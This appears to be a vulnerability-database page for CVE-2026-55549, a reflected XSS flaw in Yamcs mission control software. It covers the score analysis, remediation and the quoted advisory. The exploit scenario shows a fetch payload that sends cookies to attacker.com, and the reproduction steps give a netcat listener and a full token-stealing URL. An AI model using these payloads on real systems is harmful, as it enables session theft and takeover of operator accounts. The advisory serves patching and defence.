Skip to main content

Yamcs CVE-2026-55549

| EUVDEUVD-2026-67841 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-28 https://github.com/yamcs/yamcs GHSA-rxpg-wjf8-qv9c
6.5
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious /auth/authorize URL with script-injected redirect_uri
  2. Delivery
    Deliver URL to authenticated Yamcs operator via phishing
  3. Exploit
    Victim browser loads URL, server reflects unescaped parameter into HTML
  4. Execution
    Injected script executes in Yamcs session context
  5. Persist
    fetch() exfiltrates access and refresh tokens to attacker listener
  6. Impact
    Attacker replays tokens to authenticate as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be authenticated to Yamcs (logged in with an active session) at the time the crafted URL is loaded, because the attack targets the OAuth authorization page to steal the session token of the current user - an unauthenticated visitor has no token to steal. The Yamcs instance must be using the built-in Yamcs authentication handler that renders the /auth/authorize endpoint (authorize.html via AuthHandler.java); deployments that proxy authentication entirely through an external IdP and do not expose this endpoint may not be affected. The attacker must be able to deliver a URL to the victim and induce a browser navigation to it (phishing, link injection, etc.). No special server configuration beyond a default Yamcs installation is required - the endpoint is part of the standard OAuth flow enabled by default. Exploitation is limited by the UI:R requirement: automated mass exploitation is not feasible without victim interaction, but targeted social engineering against specific operators is realistic given the trivial payload construction.

Impact

The CVSS 3.1 base score of 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) reflects low attack complexity and no authentication requirement but is gated by mandatory user interaction - the victim must load the attacker-crafted URL while authenticated. The S:U assignment is conservative; a case for S:C exists since the XSS executes in the victim's browser security context, distinct from the Yamcs server component. EPSS data was not provided, limiting probabilistic exploitation assessment. KEV status is not confirmed, indicating no known active exploitation by CISA at time of analysis. However, the GHSA advisory includes a complete, step-by-step proof-of-concept with an exact working URL payload requiring no specialized tooling beyond a netcat listener, meaning barrier to exploitation is extremely low for any attacker who can socially engineer a victim link click. The impact is high: token exfiltration leads directly to account takeover, which in a mission control context could have operational safety implications beyond typical enterprise software. Real-world risk is higher than the 6.5 score suggests when the target environment is a space operations network where Yamcs operator accounts carry privileged access to spacecraft commanding interfaces.

Exploit ScenarioDerived

An attacker registers a netcat listener on a public server, then constructs a URL targeting the Yamcs /auth/authorize endpoint with a redirect_uri parameter containing an injected fetch-based script tag (e.g., redirect_uri=...%22><script>fetch('https://attacker.com?c='+document.cookie)</script>). The attacker delivers this URL to a Yamcs operator via a phishing email or internal chat link. When the operator - already authenticated to Yamcs - loads the URL, the unescaped parameter is reflected into the authorize.html response and the script executes, transmitting the operator's access and refresh tokens to the attacker's listener. A complete working payload is published in GHSA-rxpg-wjf8-qv9c, confirming exploitability requires no special tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Reflected XSS in Yamcs versions through 5.8.6 allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a logged-in user's browser by delivering a specially crafted URL targeting the OAuth authorization endpoint. Exploitation exfiltrates the victim's session and refresh tokens to an attacker-controlled server, enabling complete account takeover. No public exploit identified at time of analysis independent of the advisory, though GHSA-rxpg-wjf8-qv9c includes a working reproduction payload with exact URL and netcat listener steps; vendor patch is available in 5.9.4 (CVSS 6.5, UI:R).

RemediationAI

Upgrade to Yamcs 5.9.4 or later, which contains the HTML-escaping fix applied in commit 4d47d5cdcf5d92c2c5bbbc19feada422923332e3; the release is available at https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4 and the advisory is at https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c. If immediate upgrade is not feasible, consider deploying a Web Application Firewall rule to block requests to /auth/authorize whose redirect_uri or other query parameters contain HTML tag characters (<, >, script keywords), accepting that this may interfere with legitimate OAuth redirect URIs containing encoded characters. Additionally, enforce short session token lifetimes and token binding where supported to reduce the window of usefulness for exfiltrated tokens. User awareness of phishing-style crafted URLs is a supplementary but weak control given the low technical barrier of this attack.

Affected VersionsENISA

yamcs < 5.9.4

Affected Packages

maven org.yamcs:yamcs-core fix: 5.9.4
euvd yamcs fix: 5.9.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Yamcs (Yet Another Mission Control System) is an open-source Java-based spacecraft mission control framework distributed as the Maven artifact org.yamcs:yamcs-core. The vulnerability (CWE-79, Reflected XSS) exists in the OAuth 2.0/OpenID Connect authorization endpoint exposed at /auth/authorize, implemented across authorize.html, AuthHandler.java, and HandlerContext.java. URL parameters - specifically the redirect_uri and surrounding query string values - were rendered into the HTML response via Yamcs's internal templating engine without HTML-entity encoding, allowing injection of arbitrary HTML tags including script blocks. The fix, visible in commit 4d47d5cdcf5d92c2c5bbbc19feada422923332e3, introduces a new EscapeFilter class that encodes the five critical HTML special characters (&, <, >, ', ") and threads a filter pipeline through the template rendering stack (TemplateBody, IfStatement, VarStatement), enabling template authors to apply the escape filter to interpolated variables via pipe syntax.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
vuln.today AI 8.2 HIGH

S:C applies because XSS executes in the victim browser (distinct from server); I:L reflects account takeover enabling attacker-controlled actions post-exploitation.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (https://github.com/yamcs/yamcs).

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Attack type:

Unauthenticated remote

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Prevalence
Low
niche aerospace/space mission control software, specialized sector only
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

52
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy